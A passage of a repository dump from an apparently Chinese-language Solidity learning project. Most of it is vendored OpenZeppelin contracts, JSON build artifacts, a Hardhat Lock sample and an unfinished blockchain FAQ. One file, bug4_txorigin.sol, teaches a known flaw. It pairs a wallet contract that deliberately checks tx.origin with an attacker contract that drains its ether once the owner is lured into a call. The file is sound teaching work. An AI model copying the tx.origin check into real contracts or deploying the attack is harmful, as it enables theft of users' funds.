a contract to hold ERC1155 tokens. 10 | * 11 | * IMPORTANT: When inheriting this contract, you must include a way to use the received tokens, otherwise they will be 12 | * stuck. 13 | * 14 | * @dev _Available since v3.1._ 15 | */ 16 | contract ERC1155Holder is ERC1155Receiver { 17 | function onERC1155Received( 18 | address, 19 | address, 20 | uint256, 21 | uint256, 22 | bytes memory 23 | ) public virtual override returns (bytes4) { 24 | return this.onERC1155Received.selector; 25 | } 26 | 27 | function onERC1155BatchReceived( 28 | address, 29 | address, 30 | uint256[] memory, 31 | uint256[] memory, 32 | bytes memory 33 | ) public virtual override returns (bytes4) { 34 | return this.onERC1155BatchReceived.selector; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /blockchain_faq.md: -------------------------------------------------------------------------------- 1 | ## 区块链常见问题解答 2 | 3 | 待更新... 4 | ### 目录 5 | 6 | TODO 7 | 8 | --- 9 | 10 | ### 区块链相关 11 | #### 1. 如何通俗理解什么是区块链? 12 | TODO 13 | #### 2. 认为区块链技术中有哪些设计巧妙的点? 14 | TODO 15 | #### 3. 区块链应用了哪些密码学技术?延展:你对密码学的熟悉程度(什么是哈希,有哪些常用哈希算法,什么是对称非对称加密,md4与md5的区别,什么是编码,base64与base58的区别,什么是数字签名,有哪些常用签名算法等) 16 | TODO 17 | #### 4. 区块链的哪些特点能够应用到各行各业? 18 | TODO 19 | #### 5. 除了数字货币,区块链还有哪些实际应用? 20 | TODO 21 | #### 6. 什么是分叉、硬分叉和软分叉? 22 | TODO 23 | 24 | 25 | ### 共识相关 26 | 27 | #### 1. 通俗的解释一下什么是「共识」? 28 | TODO 29 | 30 | #### 2. 简单介绍一下PoW算法 31 | TODO 32 | 33 | #### 3. 简单介绍一下PoS算法,以及同PoW的差异 34 | TODO 35 | 36 | #### 4. 为什么PoW有这些(51%攻击,浪费计算资源等)缺点,还能正常运行? 37 | TODO 38 | 39 | #### 5. 为什么以太坊没有一开始就采用PoS算法,而是运行几年后才用? 40 | TODO 41 | 42 | 43 | ### 比特币相关 44 | 45 | #### 1. 简单介绍一下BTC 46 | TODO 47 | #### 2. BTC历史上遭受过什么攻击?产生了什么影响? 48 | TODO 49 | #### 3. BTC系统安全吗,受到过攻击吗,有什么影响? 50 | TODO 51 | #### 4. 炒币吗?如何看待炒币? 52 | TODO 53 | 54 | ### 以太坊相关 55 | #### 1. 介绍一下以太坊 56 | TODO 57 | 58 | #### 7. 以太坊遭受过什么攻击?产生了什么影响? 59 | TODO 60 | 61 | ### 经济学相关 62 | #### 1. 什么是货币?延展:什么是法币/数字货币、企业发行的数字货币和央行发行的数字货币有什么区别等 63 | TODO 64 | #### 2. 什么是通胀和通缩,各有什么影响? 65 | TODO 66 | #### 3. 完全去中心化的经济有什么优缺点(如货币、股票系统等)? 67 | TODO 68 | 69 | --- 70 | 71 | 参考 72 | - TODO -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC20.sol"; 7 | 8 | /** 9 | * @dev Extension of {ERC20} that adds a cap to the supply of tokens. 10 | */ 11 | abstract contract ERC20Capped is ERC20 { 12 | uint256 private immutable _cap; 13 | 14 | /** 15 | * @dev Sets the value of the `cap`. This value is immutable, it can only be 16 | * set once during construction. 17 | */ 18 | constructor(uint256 cap_) { 19 | require(cap_ > 0, "ERC20Capped: cap is 0"); 20 | _cap = cap_; 21 | } 22 | 23 | /** 24 | * @dev Returns the cap on the token's total supply. 25 | */ 26 | function cap() public view virtual returns (uint256) { 27 | return _cap; 28 | } 29 | 30 | /** 31 | * @dev See {ERC20-_mint}. 32 | */ 33 | function _mint(address account, uint256 amount) internal virtual override { 34 | require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); 35 | super._mint(account, amount); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/contracts/Lock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.9; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | 7 | contract Lock { 8 | uint public unlockTime; 9 | address payable public owner; 10 | 11 | event Withdrawal(uint amount, uint when); 12 | 13 | constructor(uint _unlockTime) payable { 14 | require( 15 | block.timestamp < _unlockTime, 16 | "Unlock time should be in the future" 17 | ); 18 | 19 | unlockTime = _unlockTime; 20 | owner = payable(msg.sender); 21 | } 22 | 23 | function withdraw() public { 24 | // Uncomment this line, and the import of "hardhat/console.sol", to print a log in your terminal 25 | // console.log("Unlock time is %o and block timestamp is %o", unlockTime, block.timestamp); 26 | 27 | require(block.timestamp >= unlockTime, "You can't withdraw yet"); 28 | require(msg.sender == owner, "You aren't the owner"); 29 | 30 | emit Withdrawal(address(this).balance, block.timestamp); 31 | 32 | owner.transfer(address(this).balance); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../IERC721.sol"; 7 | 8 | /** 9 | * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension 10 | * @dev See https://eips.ethereum.org/EIPS/eip-721 11 | */ 12 | interface IERC721Enumerable is IERC721 { 13 | /** 14 | * @dev Returns the total amount of tokens stored by the contract. 15 | */ 16 | function totalSupply() external view returns (uint256); 17 | 18 | /** 19 | * @dev Returns a token ID owned by `owner` at a given `index` of its token list. 20 | * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. 21 | */ 22 | function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); 23 | 24 | /** 25 | * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. 26 | * Use along with {totalSupply} to enumerate all tokens. 27 | */ 28 | function tokenByIndex(uint256 index) external view returns (uint256); 29 | } 30 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IDelayedMessageProvider.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IDelayedMessageProvider", 4 | "sourceName": "contracts/vendor/arbitrum/IDelayedMessageProvider.sol", 5 | "abi": [ 6 | { 7 | "anonymous": false, 8 | "inputs": [ 9 | { 10 | "indexed": true, 11 | "internalType": "uint256", 12 | "name": "messageNum", 13 | "type": "uint256" 14 | }, 15 | { 16 | "indexed": false, 17 | "internalType": "bytes", 18 | "name": "data", 19 | "type": "bytes" 20 | } 21 | ], 22 | "name": "InboxMessageDelivered", 23 | "type": "event" 24 | }, 25 | { 26 | "anonymous": false, 27 | "inputs": [ 28 | { 29 | "indexed": true, 30 | "internalType": "uint256", 31 | "name": "messageNum", 32 | "type": "uint256" 33 | } 34 | ], 35 | "name": "InboxMessageDeliveredFromOrigin", 36 | "type": "event" 37 | } 38 | ], 39 | "bytecode": "0x", 40 | "deployedBytecode": "0x", 41 | "linkReferences": {}, 42 | "deployedLinkReferences": {} 43 | } 44 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Pausable.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "../ERC721.sol"; 7 | import "../../../security/Pausable.sol"; 8 | 9 | /** 10 | * @dev ERC721 token with pausable token transfers, minting and burning. 11 | * 12 | * Useful for scenarios such as preventing trades until the end of an evaluation 13 | * period, or having an emergency switch for freezing all token transfers in the 14 | * event of a large bug. 15 | */ 16 | abstract contract ERC721Pausable is ERC721, Pausable { 17 | /** 18 | * @dev See {ERC721-_beforeTokenTransfer}. 19 | * 20 | * Requirements: 21 | * 22 | * - the contract must not be paused. 23 | */ 24 | function _beforeTokenTransfer( 25 | address from, 26 | address to, 27 | uint256 firstTokenId, 28 | uint256 batchSize 29 | ) internal virtual override { 30 | super._beforeTokenTransfer(from, to, firstTokenId, batchSize); 31 | 32 | require(!paused(), "ERC721Pausable: token transfer while paused"); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC1363Receiver.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC1363Receiver", 4 | "sourceName": "contracts/interfaces/IERC1363Receiver.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "address", 10 | "name": "operator", 11 | "type": "address" 12 | }, 13 | { 14 | "internalType": "address", 15 | "name": "from", 16 | "type": "address" 17 | }, 18 | { 19 | "internalType": "uint256", 20 | "name": "value", 21 | "type": "uint256" 22 | }, 23 | { 24 | "internalType": "bytes", 25 | "name": "data", 26 | "type": "bytes" 27 | } 28 | ], 29 | "name": "onTransferReceived", 30 | "outputs": [ 31 | { 32 | "internalType": "bytes4", 33 | "name": "", 34 | "type": "bytes4" 35 | } 36 | ], 37 | "stateMutability": "nonpayable", 38 | "type": "function" 39 | } 40 | ], 41 | "bytecode": "0x", 42 | "deployedBytecode": "0x", 43 | "linkReferences": {}, 44 | "deployedLinkReferences": {} 45 | } 46 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/IERC721Receiver.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "IERC721Receiver", 4 | "sourceName": "contracts/token/ERC721/IERC721Receiver.sol", 5 | "abi": [ 6 | { 7 | "inputs": [ 8 | { 9 | "internalType": "address", 10 | "name": "operator", 11 | "type": "address" 12 | }, 13 | { 14 | "internalType": "address", 15 | "name": "from", 16 | "type": "address" 17 | }, 18 | { 19 | "internalType": "uint256", 20 | "name": "tokenId", 21 | "type": "uint256" 22 | }, 23 | { 24 | "internalType": "bytes", 25 | "name": "data", 26 | "type": "bytes" 27 | } 28 | ], 29 | "name": "onERC721Received", 30 | "outputs": [ 31 | { 32 | "internalType": "bytes4", 33 | "name": "", 34 | "type": "bytes4" 35 | } 36 | ], 37 | "stateMutability": "nonpayable", 38 | "type": "function" 39 | } 40 | ], 41 | "bytecode": "0x", 42 | "deployedBytecode": "0x", 43 | "linkReferences": {}, 44 | "deployedLinkReferences": {} 45 | } 46 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/token/ERC20/presets/ERC20PresetFixedSupply.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/presets/ERC20PresetFixedSupply.sol) 3 | pragma solidity ^0.8.0; 4 | 5 | import "../extensions/ERC20Burnable.sol"; 6 | 7 | /** 8 | * @dev {ERC20} token, including: 9 | * 10 | * - Preminted initial supply 11 | * - Ability for holders to burn (destroy) their tokens 12 | * - No access control mechanism (for minting/pausing) and hence no governance 13 | * 14 | * This contract uses {ERC20Burnable} to include burn capabilities - head to 15 | * its documentation for details. 16 | * 17 | * _Available since v3.4._ 18 | * 19 | * _Deprecated in favor of https://wizard.openzeppelin.com/[Contracts Wizard]._ 20 | */ 21 | contract ERC20PresetFixedSupply is ERC20Burnable { 22 | /** 23 | * @dev Mints `initialSupply` amount of token and transfers them to `owner`. 24 | * 25 | * See {ERC20-constructor}. 26 | */ 27 | constructor( 28 | string memory name, 29 | string memory symbol, 30 | uint256 initialSupply, 31 | address owner 32 | ) ERC20(name, symbol) { 33 | _mint(owner, initialSupply); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /test_solidity/bug4_txorigin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; 2 | 3 | /* 4 | @tx.origin不正确使用的漏洞 5 | - 基本介绍 6 | Wallet是一个存在漏洞的合约,它的transfer函数只允许owner调用,然后将eth转给目标地址。但是它错误的通过tx.origin来检查caller是否owner。 7 | 具体看下面的注释。 8 | */ 9 | 10 | 11 | // 这是受害者合约,先部署,并且注入ETH 12 | contract Wallet { 13 | address public owner; 14 | constructor() payable {owner = msg.sender;} 15 | 16 | function transfer(address payable _to, uint _amount) public { 17 | // 这一行是bug代码 18 | require(tx.origin == owner, "Not owner"); 19 | // 修复版本:要求Owner直接调用此函数,而不是间接调用 20 | // require(msg.sender == owner, "Not owner"); 21 | 22 | (bool sent,) = _to.call{value : _amount}(""); 23 | require(sent, "Failed to send Ether"); 24 | } 25 | } 26 | 27 | // 这是攻击者合约 28 | contract Attack { 29 | address payable public owner; 30 | Wallet wallet; 31 | 32 | // 部署时先将 受害者合约地址 写入合约变量 33 | constructor(Wallet _wallet) { 34 | wallet = Wallet(_wallet); 35 | owner = payable(msg.sender); 36 | } 37 | 38 | // 再诱骗 受害者合约 的部署者调用这个函数,结果会将 受害者合约 的以太币转入 攻击者合约 39 | function attack() public { 40 | // 实际情况中,这里可能会有多层嵌套,以隐藏实际意图 41 | wallet.transfer(owner, address(wallet).balance); 42 | } 43 | } 44 | 45 | -------------------------------------------------------------------------------- /test_solidity/node_modules/@openzeppelin/contracts/build/contracts/Pausable.json: -------------------------------------------------------------------------------- 1 | { 2 | "_format": "hh-sol-artifact-1", 3 | "contractName": "Pausable", 4 | "sourceName": "contracts/security/Pausable.sol", 5 | "abi": [ 6 | { 7 | "anonymous": false, 8 | "inputs": [ 9 | { 10 | "indexed": false, 11 | "internalType": "address", 12 | "name": "account", 13 | "type": "address" 14 | } 15 | ], 16 | "name": "Paused", 17 | "type": "event" 18 | }, 19 | { 20 | "anonymous": false, 21 | "inputs": [ 22 | { 23 | "indexed": false, 24 | "internalType": "address", 25 | "name": "account", 26 | "type": "address" 27 | } 28 | ], 29 | "name": "Unpaused", 30 | "type": "event" 31 | }, 32 | { 33 | "inputs": [], 34 | "name": "paused", 35 | "outputs": [ 36 | { 37 | "internalType": "bool", 38 | "name": "", 39 | "type": "bool" 40 | } 41 | ], 42 | "stateMutability": "view", 43 | "type": "function" 44 | } 45 | ], 46 | "bytecode": "0x", 47 | "deployedBytecode": "0x", 48 | "linkReferences": {}, 49 | "deployedLinkReferences": {} 50 | } 51 | -------------------------------------------------------------------------------- /learn_smartcontract/nft_beginner_series/2.write_an_nft_contract/scripts/deploy.js: -------------------------------------------------------------------------------- 1 | // We require the Hardhat Runtime Environment explicitly here. This is optional 2 | // but useful for running the script in a standalone fashion through `node